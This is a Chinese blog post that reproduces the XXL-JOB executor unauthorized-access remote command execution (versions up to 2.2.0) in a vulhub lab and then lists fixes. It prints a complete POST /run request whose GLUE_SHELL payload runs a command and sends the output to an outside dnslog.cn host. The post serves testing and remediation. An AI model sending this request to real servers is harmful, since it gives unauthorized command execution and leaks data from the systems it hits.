XXL-JOB executor未授权访问漏洞
XXL-JOB概述
XXL-JOB 是一个开源的分布式任务调度平台,支持定时任务和分布式任务。该平台提供了一套可视化的任务管理界面,方便用户配置和监控任务的执行情况。
漏洞概述
漏洞影响版本:<=2.2.0
executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。
此漏洞为XXL-JOB配置不当情况下反序列化RCE。
执行器配置文件中说到端口号在默认情况下是9999
复现
本地搭建靶场,使用靶场为vulhub,使用docker运行环境

启动环境后,http://ip:8080为管理端,http://ip:9999为客户端

访问http://ip:9999/,出现以下情况可能存在漏洞

访问http://ip:9999/run,并使用bp抓包,将数据包的发送方式改为POST
数据包内容
POST /run HTTP/1.1
Host: {ip}:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 382
{
"jobId": 4,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "ping -n 1 `whoami`.7fx080.dnslog.cn",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

注意:每次发送请求,需要更改报文中的jobId值,否则命令可能无法执行
成功得到回显

创建文件

注意:此环境由docker搭建,创建的文件生成于对应的容器中

复现完成
修复方式
1.将XXL-JOB Executor 升级到最新版本。
2.设置访问控制,在 XXL-JOB Executor 的配置文件中,确保设置了适当的访问控制。这可能涉及到设置用户名和密码,或者配置 IP 白名单,以确保只有授权的用户或 IP 地址可以访问 Executor。
3.修改默认端口。
4.使用防火墙配置来限制对 XXL-JOB Executor 端口的访问。只允许来自可信 IP 地址的请求访问 Executor。
posted on 2023-12-04 15:30 Wav3W1nd50r 阅读(4250) 评论(0) 收藏 举报
浙公网安备 33010602011771号